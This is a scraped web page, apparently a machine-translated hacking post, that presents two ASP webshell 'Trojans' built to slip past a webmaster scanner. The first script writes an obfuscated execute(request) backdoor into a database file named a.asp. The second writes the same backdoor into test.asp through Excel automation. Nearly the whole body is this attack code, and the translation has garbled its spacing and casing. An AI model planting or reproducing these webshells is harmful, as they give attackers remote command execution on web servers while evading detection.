Two unconventional ASP Trojans (which can be scanned)

Source: Internet
Author: User

Hanxiaolian
Write to avoid lake2 ASP webmaster management assistant ..
1. Pony Scanning Bypass lake2 Asp Trojan Copy codeThe Code is as follows: <%
Set c = CreateObject ("ADOX. Catalog ")
C. create ("Provider = Microsoft. Jet. OLEDB.4.0; Data Source =" & Server. MapPath ("a. asp "))
Set c = Nothing
C & Server. MapPath ("a. asp ")
Set conn = server. createobject ("Adodb. Connection ")
Conn. open connstr
Conn.exe cute ("create table nomm (nomuma oleobject )")
Set rs = server. createobject ("adodb. recordset ")
SQL = "SELECT * FROM nomm"
Rs. open SQL, conn, 1, 3
Rs. addnew
Rs ("nomuma"). appendchunk (chrB (asc ("<") & chrB (asc ("%") & chrB (asc ("e") & chrB
(Asc ("x") & chrB (asc ("e") & chrB (asc ("c") & chrB (asc ("u ")) & chrB (asc ("t") & chrB (asc
("E") & chrB (asc ("+") & chrB (asc ("r") & chrB ("e ")) & chrB (asc ("q") & chrB (asc
("U") & chrB (asc ("e") & chrB (asc ("s") & chrB ("t ")) & chrB (asc (") & chrB (34)
& ChrB (asc ("q") & chrB (34) & chrB (asc (")") & chrB (asc ("% ")) & chrB (asc ("> ")))
Rs. update
Rs. close
Set rs = nothing
Conn. close
Set conn = nothing
%>

Asp webshell for 2. xlsCopy codeThe Code is as follows: <%
Set xlA = Server. CreateObject ("Excel. Application ")
XlA. Visible = False
XlA. Workbooks. Add
Set xlWorksheet = xlA. Worksheets (1)
XlWorksheet. cells (1, 1 ). value = "<% ex" & "ec" & "ute (request (" q "") "+ chr (37) +">"
'Strfile = "d:/test. asp"
StrFile = Server. MapPath ("test. asp ")
XlWorkSheet. SaveAs strFile
XlA. Quit
Set xlWorksheet = Nothing
Set xlA = Nothing
%>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.